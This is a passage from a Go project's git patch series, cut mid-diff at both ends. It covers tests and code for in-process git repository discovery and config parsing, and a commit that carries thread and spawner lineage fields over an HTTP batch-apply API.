= %q, %v; this test needs it to report the $PWD alias %q", wd, err, alias) + } + if wd, err := processCwd(); err != nil || wd != physical { + t.Fatalf("processCwd() = %q, %v; want getcwd's %q", wd, err, physical) + } + for _, k := range discoveryEnvOverrides { + if _, set := os.LookupEnv(k); set { + t.Setenv(k, "") + if err := os.Unsetenv(k); err != nil { + t.Fatal(err) + } + } + } + got, ok := discoverGitInProcess() + if !ok { + t.Fatal("discoverGitInProcess declined") + } + if want := gitRevParse(t, f.env, physical); got != want { + t.Fatalf("discoverGitInProcess() = %+v, git rev-parse = %+v", got, want) + } +} + +// TestDiscoverGitInProcessDefersToGitEnvOverrides: GIT_DIR and friends +// redefine discovery, so their presence (even empty) sends it to git. +func TestDiscoverGitInProcessDefersToGitEnvOverrides(t *testing.T) { + f := newDiscoveryFixture(t) + t.Chdir(f.main) + for _, name := range discoveryEnvOverrides { + t.Run(name, func(t *testing.T) { + t.Setenv(name, "") + if got, ok := discoverGitInProcess(); ok { + t.Fatalf("with %s set, discoverGitInProcess() = %+v; want it to defer to git", name, got) + } + }) + } +} + +// TestGitContextInProcessMatchesGitSubprocess checks the cached context end +// to end: what bd's startup now derives without git equals what it derived +// from the git subprocess, for each discovery layout. +func TestGitContextInProcessMatchesGitSubprocess(t *testing.T) { + f := newDiscoveryFixture(t) + for _, k := range discoveryEnvOverrides { + if _, set := os.LookupEnv(k); set { + t.Setenv(k, "") + if err := os.Unsetenv(k); err != nil { + t.Fatal(err) + } + } + } + for _, dir := range []string{ + f.main, filepath.Join(f.main, "a", "b"), f.worktree, filepath.Join(f.worktree, "w"), + f.submodule, filepath.Join(f.nested, "deep"), + } { + t.Run(strings.TrimPrefix(dir, f.root), func(t *testing.T) { + t.Chdir(dir) + raw, ok := discoverGitInProcess() + if !ok { + t.Fatalf("discoverGitInProcess declined in %s", dir) + } + got := gitContextFromRevParse("", raw) + want := loadGitContext("", f.env) + if got.err != nil || want.err != nil { + t.Fatalf("errors: in-process %v, git %v", got.err, want.err) + } + if got.gitDirRaw != want.gitDirRaw || got.commonDir != want.commonDir || + got.repoRoot != want.repoRoot || got.isWorktree != want.isWorktree { + t.Fatalf("in-process %+v, git %+v", got, want) + } + }) + } +} + +// isolateGitConfigEnv points git and the in-process readers at the same, +// controlled config files: no system config, an empty global file. +func isolateGitConfigEnv(t *testing.T) (global string) { + t.Helper() + for _, kv := range os.Environ() { + name, _, _ := strings.Cut(kv, "=") + if strings.HasPrefix(name, "GIT_") { + t.Setenv(name, "") + if err := os.Unsetenv(name); err != nil { + t.Fatal(err) + } + } + } + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("XDG_CONFIG_HOME", filepath.Join(home, "xdg")) + t.Setenv("GIT_CONFIG_NOSYSTEM", "1") + global = filepath.Join(home, "global.gitconfig") + if err := os.WriteFile(global, nil, 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("GIT_CONFIG_GLOBAL", global) + return global +} + +func gitRemoteListsAny(t *testing.T, dir string) bool { + t.Helper() + cmd := exec.Command("git", "remote") + cmd.Dir = dir + out, err := cmd.Output() + return err == nil && strings.TrimSpace(string(out)) != "" +} + +// TestHasRemoteInProcessMatchesGitRemote: wherever HasRemoteInProcess +// answers, it is what `git remote` (the auto-backup probe) reports. +func TestHasRemoteInProcessMatchesGitRemote(t *testing.T) { + f := newDiscoveryFixture(t) + global := isolateGitConfigEnv(t) + withRemote := filepath.Join(t.TempDir(), "with-remote") + runFixtureGit(t, f.env, t.TempDir(), "init", "-q", withRemote) + runFixtureGit(t, f.env, withRemote, "remote", "add", "origin", "https://example.invalid/r.git") + pushDefaultOnly := filepath.Join(t.TempDir(), "push-default") + runFixtureGit(t, f.env, t.TempDir(), "init", "-q", pushDefaultOnly) + runFixtureGit(t, f.env, pushDefaultOnly, "config", "remote.pushDefault", "origin") + runFixtureGit(t, f.env, f.main, "remote", "add", "up", "https://example.invalid/m.git") + + setGlobal := func(t *testing.T, content string) { + t.Helper() + if err := os.WriteFile(global, []byte(content), 0o600); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.WriteFile(global, nil, 0o600) }) + } + for _, tc := range []struct { + name, dir, global string + wantDecline bool + }{ + {name: "no remote", dir: f.nested}, + {name: "local remote", dir: withRemote}, + {name: "remote.pushDefault only", dir: pushDefaultOnly}, + {name: "linked worktree sees the common config", dir: filepath.Join(f.worktree, "w")}, + {name: "submodule (origin in its own config)"}, + {name: "no repository", dir: filepath.Join(f.root, "norepo", "x")}, + {name: "remote in global config", dir: f.nested, global: "[remote \"g\"]\n\turl = /g\n"}, + {name: "include in global config", dir: f.nested, global: "[include]\n\tpath = /dev/null\n", wantDecline: true}, + {name: "malformed global config", dir: f.nested, global: "[ user ]\n", wantDecline: true}, + } { + t.Run(tc.name, func(t *testing.T) { + dir := tc.dir + if dir == "" { + dir = f.submodule + } + if tc.global != "" { + setGlobal(t, tc.global) + } + has, ok := HasRemoteInProcess(dir) + if ok == tc.wantDecline { + t.Fatalf("HasRemoteInProcess(%s) ok=%v, want ok=%v", dir, ok, !tc.wantDecline) + } + if want := gitRemoteListsAny(t, dir); ok && has != want { + t.Fatalf("HasRemoteInProcess(%s) = %v, git remote lists any = %v", dir, has, want) + } + }) + } + t.Run("GIT_CONFIG_PARAMETERS declines", func(t *testing.T) { + t.Setenv("GIT_CONFIG_PARAMETERS", "'remote.x.url'='/x'") + if _, ok := HasRemoteInProcess(f.nested); ok { + t.Fatal("HasRemoteInProcess answered despite command-line config") + } + }) + t.Run("process cwd", func(t *testing.T) { + t.Chdir(withRemote) + if has, ok := HasRemoteInProcess(""); !ok || !has { + t.Fatalf("HasRemoteInProcess(\"\") = %v, %v; want true, true", has, ok) + } + }) +} + +// TestCommonDirInProcessMatchesGit: the auto-backup RepoContext asks +// `git -C <.beads> rev-parse --git-common-dir`; the in-process answer has +// git's spelling. +func TestCommonDirInProcessMatchesGit(t *testing.T) { + f := newDiscoveryFixture(t) + isolateGitConfigEnv(t) + beadsDir := filepath.Join(f.main, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + for _, dir := range []string{ + f.main, beadsDir, filepath.Join(f.main, "a", "b"), f.worktree, f.submodule, + filepath.Join(f.root, "link", "a"), filepath.Join(f.root, "norepo", "x"), + } { + t.Run(strings.TrimPrefix(dir, f.root), func(t *testing.T) { + got, isRepo, ok := CommonDirInProcess(dir) + if !ok { + t.Fatalf("CommonDirInProcess(%s) declined", dir) + } + cmd := exec.Command("git", "-C", dir, "rev-parse", "--git-common-dir") + out, err := cmd.Output() + if (err == nil) != isRepo { + t.Fatalf("CommonDirInProcess(%s) isRepo=%v, git err=%v", dir, isRepo, err) + } + if want := strings.TrimSpace(string(out)); isRepo && got != want { + t.Fatalf("CommonDirInProcess(%s) = %q, git = %q", dir, got, want) + } + }) + } +} diff --git a/internal/git/discover_other.go b/internal/git/discover_other.go new file mode 100644 index 000000000..231616c9b --- /dev/null +++ b/internal/git/discover_other.go @@ -0,0 +1,20 @@ +//go:build !linux + +package git + +// discoverGitInProcess is linux-only: elsewhere path case-folding (darwin, +// windows) and ownership semantics (windows) make an exact in-process answer +// harder to prove, so discovery always runs git. +func discoverGitInProcess() (revParseResult, bool) { + return revParseResult{}, false +} + +// CommonDirInProcess is linux-only; see discoverGitInProcess. +func CommonDirInProcess(string) (commonDir string, isRepo, ok bool) { + return "", false, false +} + +// HasRemoteInProcess is linux-only; see discoverGitInProcess. +func HasRemoteInProcess(string) (has, ok bool) { + return false, false +} diff --git a/internal/git/gitconfig_linux.go b/internal/git/gitconfig_linux.go new file mode 100644 index 000000000..ea786b373 --- /dev/null +++ b/internal/git/gitconfig_linux.go @@ -0,0 +1,109 @@ +//go:build linux + +package git + +import ( + "bytes" + "os" + "regexp" + "strings" +) + +// gitConfigEntry is one key line of a git config file, as scanGitConfig +// understood it. +type gitConfigEntry struct { + section string // lower-cased section name + subsection *string // nil for [section]; case preserved + key string // lower-cased variable name + hasValue bool // false for a bare "key" line (boolean true) + rawValue string // value text after '=', as written, comment included + value string // rawValue without its comment, trimmed and unquoted +} + +var ( + gitConfigHeader = regexp.MustCompile(`^\[([A-Za-z0-9-]+)(?: "([^"\\]*)")?\][ \t]*(?:[#;].*)?$`) + gitConfigKeyLine = regexp.MustCompile(`^[ \t]*([A-Za-z][A-Za-z0-9-]*)[ \t]*(?:=(.*)|(?:[#;].*)?)$`) + gitConfigCommentLn = regexp.MustCompile(`^[ \t]*(?:[#;].*)?$`) +) + +// scanGitConfig reads a git config file with a deliberately narrow grammar +// and calls visit for each key line; it returns false (the caller then asks +// git) when the file is unreadable, a visit returns false, or ANY line falls +// outside that grammar — Git might honor such a line differently or refuse +// the file. A missing file is an empty config, as for Git. +// +// Understood: a UTF-8 BOM at the start of the file (Git skips it), CRLF line +// endings, blank and comment lines, "[section]" and `[section "sub"]` +// headers at the start of a line (optionally followed by a comment), and +// "key", "key = value" lines inside a section. Values containing a backslash +// or an odd number of double quotes (escapes, continuations, unterminated +// strings) are not understood. +func scanGitConfig(path string, visit func(gitConfigEntry) bool) bool { + data, err := os.ReadFile(path) // #nosec G304 -- a git config file Git itself would read + if os.IsNotExist(err) { + return true + } + if err != nil || bytes.IndexByte(data, 0) >= 0 { + return false + } + text := strings.TrimPrefix(string(data), "\xef\xbb\xbf") + section, haveSection := "", false + var subsection *string + for _, line := range strings.Split(text, "\n") { + line = strings.TrimSuffix(line, "\r") + if strings.ContainsRune(line, '\r') { + return false + } + if gitConfigCommentLn.MatchString(line) { + continue + } + if m := gitConfigHeader.FindStringSubmatch(line); m != nil { + section, haveSection = strings.ToLower(m[1]), true + subsection = nil + if strings.Contains(line[:strings.IndexByte(line, ']')], `"`) { + sub := m[2] + subsection = &sub + } + continue + } + m := gitConfigKeyLine.FindStringSubmatchIndex(line) + if m == nil || !haveSection { + return false + } + e := gitConfigEntry{section: section, subsection: subsection, key: strings.ToLower(line[m[2]:m[3]])} + if m[4] >= 0 { + e.hasValue = true + e.rawValue = line[m[4]:m[5]] + value, ok := parseGitConfigValue(e.rawValue) + if !ok { + return false + } + e.value = value + } + if !visit(e) { + return false + } + } + return true +} + +// parseGitConfigValue strips a trailing comment, surrounding whitespace and +// balanced double quotes from a value it fully understands. +func parseGitConfigValue(raw string) (string, bool) { + if strings.ContainsRune(raw, '\\') || strings.Count(raw, `"`)%2 != 0 { + return "", false + } + var b strings.Builder + inQuote := false + for _, c := range raw { + switch { + case c == '"': + inQuote = !inQuote + continue + case !inQuote && (c == '#' || c == ';'): + return strings.TrimSpace(b.String()), true + } + b.WriteRune(c) + } + return strings.TrimSpace(b.String()), true +} diff --git a/internal/git/gitdir.go b/internal/git/gitdir.go index 31019d7b4..133ed8203 100644 --- a/internal/git/gitdir.go +++ b/internal/git/gitdir.go @@ -88,10 +88,36 @@ func canonicalPinPath(p string) string { // initGitContext populates the gitContext with a single git call. // This is called once per process via sync.Once. +// +// The process-wide context is the one every bd invocation resolves at startup +// (beads directory discovery), so it first tries discoverGitInProcess, which +// answers the common layouts — an ordinary repository, a linked worktree, a +// submodule, no repository at all — from the filesystem with the exact output +// `git rev-parse --git-dir --git-common-dir --show-toplevel` would print, and +// declines (falling back to that subprocess) for anything it cannot prove +// equivalent: GIT_DIR-style overrides, repository config that moves the work +// tree, ownership that would engage safe.directory, and so on. func initGitContext() { + if raw, ok := discoverGitInProcess(); ok { + gitCtx = gitContextFromRevParse("", raw) + return + } gitCtx = loadGitContext("", nil) } +// revParseResult is the answer to `git rev-parse --git-dir --git-common-dir +// --show-toplevel`, in Git's own spelling, or notRepo when Git would report +// that the directory is not inside a repository. +type revParseResult struct { + gitDir, commonDir, topLevel string + notRepo bool + notRepoErr error // why, when notRepo; nil means errNotGitRepository +} + +// errNotGitRepository stands in for git's exit status when in-process +// discovery establishes that there is no repository to find. +var errNotGitRepository = errors.New("no .git found in the working directory or any parent") + func loadGitContext(workDir string, env []string) gitContext { var ctx gitContext // Get all three values with a single git call @@ -116,10 +142,29 @@ func loadGitContext(workDir string, env []string) gitContext { ctx.err = fmt.Errorf("unexpected git rev-parse output: got %d lines, expected 3", len(lines)) return ctx } + return gitContextFromRevParse(workDir, revParseResult{ + gitDir: strings.TrimSpace(lines[0]), + commonDir: strings.TrimSpace(lines[1]), + topLevel: strings.TrimSpace(lines[2]), + }) +} - ctx.gitDirRaw = strings.TrimSpace(lines[0]) - commonDirRaw := strings.TrimSpace(lines[1]) - repoRootRaw := strings.TrimSpace(lines[2]) +// gitContextFromRevParse derives the cached context from rev-parse output, +// whichever of git or discoverGitInProcess produced it, so both paths share +// one normalization. +func gitContextFromRevParse(workDir string, raw revParseResult) gitContext { + var ctx gitContext + if raw.notRepo { + reason := raw.notRepoErr + if reason == nil { + reason = errNotGitRepository + } + ctx.err = fmt.Errorf("not a git repository: %w", reason) + return ctx + } + ctx.gitDirRaw = raw.gitDir + commonDirRaw := raw.commonDir + repoRootRaw := raw.topLevel // Convert commonDir to absolute for reliable comparison absCommon, err := absoluteGitPath(workDir, commonDirRaw) From 533f95295ac2583502e12ba65cc00c2e5ba22276 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 01:05:39 +0000 Subject: [PATCH 180/325] =?UTF-8?q?feat(httpclient):=20BatchApplier=20over?= =?UTF-8?q?=20HTTP=20=E2=80=94=20handshake=20cap,=20dep=5Fadd=20lineage=20?= =?UTF-8?q?on=20the=20wire,=20gc=20mappings=20(S5)=20(#7265)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(httpclient): carry DepAddItem.HasSpawner/ThreadID over the wire The http leg's batchApply wire shape dropped a dep_add item's HasSpawner and ThreadID fields -- an edit the caller believed landed. Extend the wire body (ApplyDepAddItem.has_spawner/thread_id), gate sending either field on a new additive behavior capability (issues.batchApply.depAddLineage / CapBatchApplyDepAddLineage) so a client refuses locally before dialing an older server instead of silently dropping graph lineage, and wire the storage-layer spawner-id stamping (StampWaitsForSpawnerID) through both the dolt and uow legs that already had the fields but never stamped them. wire_revision and min_client are unchanged; the golden digest and openapi spec are regenerated. Also fixes three generic bijection/vocabulary gates this change was missing: write_ledger_test.go's applyBatch/item/dep_add carriage table, and the literal behaviorCapabilities lists in internal/httpapi/server_test.go and internal/httpclient/wire/vocabulary_test.go. Co-Authored-By: Claude Sonnet 5 * test(httpclient/wire): pin the item-count gate at 356 items Add TestApplyBatchAt356ItemsWithoutTheCapabilityRefusesBeforeDialing, exercising internal/storage/batchfixtures.Shape356's exact item count -- the design's primary measured large-batch-apply shape -- rather than only the floor+1/ceiling+1 boundaries the existing cases pin. The gate is content-agnostic (it never looks past len(body.Items)), so a synthetic plan here is behaviorally identical to a real Shape356 plan for this one check; realistic-content coverage follows in the next commit. Co-Authored-By: Claude Sonnet 5 * test(httpclient): prove a 356-item Shape356 plan commits atomically or leaves zero rows Add two tests against the real served stack using batchfixtures.Shape356's realistic, heterogeneous content (102 creates, 136 blocks edges, 102 tracks-to-root edges, 16 assign updates): - TestServedBatchApplyShape356CommitsAtomically applies the full plan once and verifies every create landed with a bound key, matching the issues table row-for-row. - TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows appends a 357th item guarding the pre-existing root issue with a deliberately stale ExpectedVersion. Because the root is untouched by the other 356 items, this exercises the real server-side precondition_failed round trip (rather than the static same-request-row ErrValidation rule), asserting errors.Is(err, issueops.ErrVersionMismatch) and that none of the 356 creates landed -- the "never chunk" ceiling: an all-or-nothing request that fails on its last item must leave nothing behind. Co-Authored-By: Claude Sonnet 5 * test(httpclient): close S5 review HIGH findings (lineage gate, thread_id, gc mappings) 2026-10 Opus review on the S5 batch-apply slice found the wire change correct but coverage missing: - HIGH-1: refuseUnservedDepAddLineage (batchapplier.go) had no coverage at all -- deleting it passed every existing test. Add a test pinning that HasSpawner or ThreadID on a server without issues.batchApply.depAddLineage refuses *storage.ErrUnsupported before dialing, and that a plan touching neither field still dials. - HIGH-2: thread_id was never asserted end to end. Add RunBatchApplyCarriesThreadIDOntoTheStoredEdge to the shared conformance package, wire it onto the dolt, embeddeddolt and uow legs, and add the http leg's own case (TestServedBatchApplyCarriesThreadIDOntoTheStoredEdge), which is the one case that proves the field survives both the client's encode and the server's decode at once. - HIGH-3: DESIGN Sec 3.8 ("Guarded writes: no new roles") documents two gc mappings onto BatchApplier that had no coverage: an update carrying a metadata patch plus ExpectedVersion followed by a close in one request (CloseWithMetadataIfMatch, atomic -- a stale version leaves zero changes), and a keyed create/MetadataRefs/dep_add (parent-child included)/trailing-update plan (ApplyGraphPlan). Document both compositions on the BatchApplier interface and add http-leg tests for each. Mutation-verified: removing the lineage gate call, dropping thread_id on the client's encode, and dropping it on the server's decode each now fail a test that previously passed unconditionally. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): nil-guard snapshot consumers, fix spec wording, sync Bazel 2026-10 Opus review MED/LOW findings on the S5 batch-apply slice: - LOW-6: Store.snapshot returns (nil, nil) when a Store has neither a wire nor a cached handshake. Store.Counter() does not call roleWire first (unlike Sweeper/BatchApplier), so this is reachable through the ordinary public accessor and a scoped count would panic on snap.Capabilities. Nil-guard every snapshot() consumer (batchapplier.go, counter.go, sweeper.go) so a nil snapshot is treated as "nothing advertised" and falls through to the capability refusal. Add TestCounterRefusesScopeGracefullyWithNoTransportAndNoSnapshot, mutation-verified to panic without the guard. - LOW-7: the ApplyDepAddItem spec comment said an old server would "silently ignore" has_spawner/thread_id; it answers its own 400 for an unknown member. Fix the wording and regenerate apigen/types.gen.go. - MED-4: internal/httpclient/BUILD.bazel was missing served_batch_apply_large_test.go, expected_revision_contract_test.go, served_dualwrite_history_test.go and the //internal/storage/batchfixtures dep. Sync with gazelle (confirmed idempotent) and go_srcs.py --check. Co-Authored-By: Claude Sonnet 5 * fix(storage): carry thread_id on a same-type dep re-add; bound batch thread_id A same-type re-add of an existing dependency compared and rewrote only metadata, so on both write legs (issueops.addDependencyInTx and the uow dependency repository) a re-add naming a new ThreadID was read as change-free and the thread was dropped, and a metadata-plus-thread re-add stored the metadata without the thread. Both arms now read the stored thread_id through one shared rule, issueops.ReAddedDependencyThread: a named thread the row does not carry is a change (UPDATE, replacement-edge journal entry, exactly one version, #5898 leg 2), and a re-add naming no thread keeps the stored one, so callers that never carry a thread cannot erase it. The journal's EventDep has no thread member, so a thread-only re-add journals the same payload as the original add; the source's version snapshot is what records the new thread, and the comments on both arms now say so instead of promising a complete replacement edge. planApplyBatchDepAdd bounds DepAddItem.ThreadID with CheckFieldLen, so an over-long thread id is ErrValidation before any database work on every leg, as the http leg's decode already refuses it, instead of an opaque mid-transaction "string too long" on the local legs. Only the length bound is shared: the http leg's control-character refusal stays http-only. The HasSpawner/ThreadID docs now name the producer that actually sets HasSpawner (an embedder lowering a graph plan, e.g. gc's ApplyGraphPlan mapping) instead of bd create --graph, and drop the CHANGELOG reference that had no entry behind it. New conformance cases, wired on dolt, embeddeddolt, uow and served: RunBatchApplyCarriesThreadIDOntoAnExistingEdge, RunBatchApplyRefusesAThreadIDLongerThanItsColumn and RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * ci(shards): add the re-add thread test to the embedded storage shard manifest Co-Authored-By: Claude Opus 5.5 (1M context) * ci: trigger the first PR CI run now that the base is main Co-Authored-By: Claude Opus 5.5 (1M context) * fix(httpclient): gate has_spawner to waits-for edges; refuse empty thread_id Review iteration 1 fix-up for #7265 (synthesis F1, F2, F4, F5, F6, F7). F2: the client's CapBatchApplyDepAddLineage gate refused HasSpawner on every edge type, but the role reads the flag on a waits-for edge only (StampWaitsForSpawnerID is a no-op off one). An embedder plan setting it on, say, a blocks edge works against every existing server, yet this client refused it during a mixed-version rollout. depAddNamesSpawner now holds the role's own rule: the flag is gated and encoded on a waits-for edge only, and dropped elsewhere, which loses nothing the role would store. ThreadID stays gated on every edge type, since a thread is stored on all of them. The "spawner flag on any other edge type" subtest is restored to an unadvertising server and now also asserts the flag is dropped from the body, and TestApplyBatchRefusesUnservedDepAddLineageBeforeDialing gains a ThreadID-on-blocks case. The W-DepAddItem.HasSpawner ledger row and the regenerated engdocs/design/http-divergence-ledger.md say the same. F5: the document gives thread_id minLength: 1, but the decoder read an empty string as no thread. applyDepAddItem now refuses a present, empty thread_id with 400 invalid_value naming items[i].dep_add.thread_id, as it does an empty type; an absent one still names no thread. New TestApplyBatchRefusesAnEmptyThreadID; the documented-body test now forwards has_spawner and thread_id as well. F1: bd create --graph does set HasSpawner (buildGraphApplyBatchRequest, on the embedded and proxied legs, since #7209), so the DepAddItem doc names both producers again and the conformance doc's CHANGELOG pointer is restored; the [Unreleased] entry behind it is on the base. F4: the CapBatchApplyDepAddLineage comment said an older server would silently drop the members; it answers either one with 400 invalid_argument/unknown_parameter. F6: the create-edge ledger comment said no operation publishes a thread member; batch apply's dep_add item now does. F7: TestServedBatchApplyGcApplyGraphPlan adds a waits-for item carrying HasSpawner and ThreadID and reads the stored row back, pinning metadata.spawner_id to the resolved spawner and the thread on the served leg. F3 (the journal's EventDep carries no thread member) is not addressed here. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Eddie the Engineer --- .../scripts/embedded-storage-test-shards.txt | 1 + backend/conformance/batch_apply_contract.go | 175 +++++++++++- .../conformance/dependency_editor_contract.go | 90 ++++++ backend/conformance/role_bundle_cases.go | 4 + engdocs/design/http-divergence-ledger.md | 6 +- internal/httpapi/apigen/types.gen.go | 12 +- internal/httpapi/batch_apply.go | 24 +- internal/httpapi/batch_apply_test.go | 30 +- internal/httpapi/routes.go | 13 + internal/httpapi/server_test.go | 3 +- internal/httpapi/spec/openapi.v0.yaml | 32 ++- .../httpapi/wireshape/testdata/golden.json | 12 + internal/httpclient/BUILD.bazel | 2 + internal/httpclient/batchapplier.go | 73 ++++- internal/httpclient/batchapplier_test.go | 154 ++++++++-- internal/httpclient/counter.go | 6 +- internal/httpclient/counts_test.go | 43 +++ internal/httpclient/encode/ledger.go | 23 +- .../served_batch_apply_large_test.go | 155 ++++++++++ .../httpclient/served_batch_apply_test.go | 268 +++++++++++++++++- .../httpclient/served_memories_deps_test.go | 6 +- internal/httpclient/sweeper.go | 14 +- internal/httpclient/wire/handshake.go | 10 + internal/httpclient/wire/vocabulary_test.go | 4 +- .../httpclient/wire/writes_batch_cap_test.go | 34 +++ internal/httpclient/write_ledger_test.go | 22 +- internal/storage/batch_apply.go | 10 +- .../storage/dolt/batch_apply_contract_test.go | 15 + .../dolt/dependency_commit_boundary_test.go | 14 +- .../dolt/dependency_editor_contract_test.go | 6 + internal/storage/domain/db/dependency.go | 37 ++- .../db/dependency_null_metadata_test.go | 8 +- .../embeddeddolt/batch_apply_contract_test.go | 9 + .../dependency_editor_contract_test.go | 6 + internal/storage/issueops/dependencies.go | 76 +++-- .../storage/issueops/dependencies_test.go | 49 +++- .../storage/uow/batch_apply_contract_test.go | 9 + .../uow/dependency_editor_contract_test.go | 1 + issueops/batchapplier.go | 45 ++- 39 files changed, 1353 insertions(+), 148 deletions(-) create mode 100644 internal/httpclient/served_batch_apply_large_test.go diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 439186a24..96250f443 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -528,6 +528,7 @@ 15 15 TestEmbeddedDependencyEditorAcceptsAnExternalTarget 15 15 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped 15 15 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse +15 15 TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion 15 15 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering 15 15 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers 15 15 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index 5bb9e7056..49ed97a4f 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -6,6 +6,7 @@ import ( "errors" "fmt" "reflect" + "strings" "testing" "github.com/steveyegge/beads/internal/types" @@ -1525,10 +1526,11 @@ func RunBatchApplyNormalizesTheWaitsForGate(t *testing.T, ctx context.Context, f // regression for HIGH-2: a waits-for DepAddItem must only acquire // metadata.spawner_id when the caller explicitly named a spawner // (HasSpawner=true, which bd create --graph sets when the plan declares -// edges[].spawner_key/spawner_id). An edge with no named spawner must keep -// its gate-only metadata untouched — stamping it unconditionally from the -// resolved target caused unnecessary rewrite/version churn when gc -// re-applies the same edge (see CHANGELOG.md). +// edges[].spawner_key/spawner_id, as does an embedder lowering such a plan +// onto this role). An edge with no named spawner must keep its gate-only +// metadata untouched — stamping it unconditionally from the resolved target +// caused unnecessary rewrite/version churn when gc re-applies the same edge +// (see CHANGELOG.md). func RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { t.Helper() spawner := fixture.IssuePrefix + "-spawner-named" @@ -1578,6 +1580,157 @@ func RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T, ctx context.Context } } +// RunBatchApplyCarriesThreadIDOntoTheStoredEdge pins DepAddItem.ThreadID +// (the 2026-10 Opus-review HIGH-2 finding): a conversation-threading id named +// on a dep_add item must land on the stored dependency row's own thread_id +// column, and an item that names none must store none. ThreadID is a plain +// column read independently of HasSpawner/Metadata, so this is its own case +// rather than a clause folded onto the spawner one above. +// +// Wired onto the http leg this exercises BOTH halves of the wire at once: the +// client's applyDepAddItemBody encode (batchapplier.go) and the server's +// applyDepAddItemMembers decode (internal/httpapi/batch_apply.go) must each +// carry the field, because either one silently dropping it leaves the stored +// column blank and fails the assertion below. +func RunBatchApplyCarriesThreadIDOntoTheStoredEdge(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + source := fixture.IssuePrefix + "-thread-source" + target := fixture.IssuePrefix + "-thread-target" + batchApplySeedIssue(t, ctx, fixture, source, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, target, types.StatusOpen) + + const thread = "thread-conv-1" + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemDepAdd, DepAdd: &publicops.DepAddItem{ + Source: publicops.Ref{ID: source}, Target: publicops.Ref{ID: target}, + Type: publicops.DepBlocks, ThreadID: thread, + }}, + }, + }) + if got := batchApplyEdgeThreadID(t, ctx, fixture, source, target); got != thread { + t.Errorf("stored edge thread_id = %q, want %q", got, thread) + } + + source2 := fixture.IssuePrefix + "-thread-none-source" + target2 := fixture.IssuePrefix + "-thread-none-target" + batchApplySeedIssue(t, ctx, fixture, source2, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, target2, types.StatusOpen) + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + batchApplyDepAdd(publicops.Ref{ID: source2}, publicops.Ref{ID: target2}, publicops.DepBlocks, ""), + }, + }) + if got := batchApplyEdgeThreadID(t, ctx, fixture, source2, target2); got != "" { + t.Errorf("an edge naming no thread must not stamp thread_id, got %q", got) + } +} + +// RunBatchApplyCarriesThreadIDOntoAnExistingEdge pins DepAddItem.ThreadID on +// the re-add arm: a dep_add naming an edge that already exists with the same +// type is the idempotent re-add, and a thread it names still has to reach the +// stored row. That arm once compared and rewrote metadata alone, so a +// thread-only re-add was a silent no-op and a re-add moving both landed the +// metadata and dropped the thread — on the very path gc re-applies its plans +// through. +// +// The steps run on ONE edge, each from the state the step before it left: a +// thread-only re-add puts a thread on an edge that had none, a re-add moving +// the gate and the thread lands both, and a re-add naming no thread keeps the +// stored one, because an empty ThreadID names no thread rather than asking for +// none. +func RunBatchApplyCarriesThreadIDOntoAnExistingEdge(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + source := fixture.IssuePrefix + "-rethread-source" + spawner := fixture.IssuePrefix + "-rethread-spawner" + batchApplySeedIssue(t, ctx, fixture, source, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, spawner, types.StatusOpen) + + add := func(gate, thread string) { + t.Helper() + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemDepAdd, DepAdd: &publicops.DepAddItem{ + Source: publicops.Ref{ID: source}, Target: publicops.Ref{ID: spawner}, + Type: publicops.DepWaitsFor, Metadata: `{"gate":"` + gate + `"}`, ThreadID: thread, + }}, + }, + }) + } + assertEdge := func(step, wantGate, wantThread string) { + t.Helper() + assertBatchApplyEdgeCount(t, ctx, fixture, source, spawner, 1) + stored := batchApplyEdgeMetadata(t, ctx, fixture, source, spawner) + var meta types.WaitsForMeta + if err := json.Unmarshal([]byte(stored), &meta); err != nil { + t.Fatalf("%s: stored waits-for metadata %q is not a gate object: %v", step, stored, err) + } + if meta.Gate != wantGate { + t.Errorf("%s: stored gate = %q (metadata %q), want %q", step, meta.Gate, stored, wantGate) + } + if got := batchApplyEdgeThreadID(t, ctx, fixture, source, spawner); got != wantThread { + t.Errorf("%s: stored edge thread_id = %q, want %q", step, got, wantThread) + } + } + + add(types.WaitsForAllChildren, "") + assertEdge("the first add, naming no thread", types.WaitsForAllChildren, "") + + 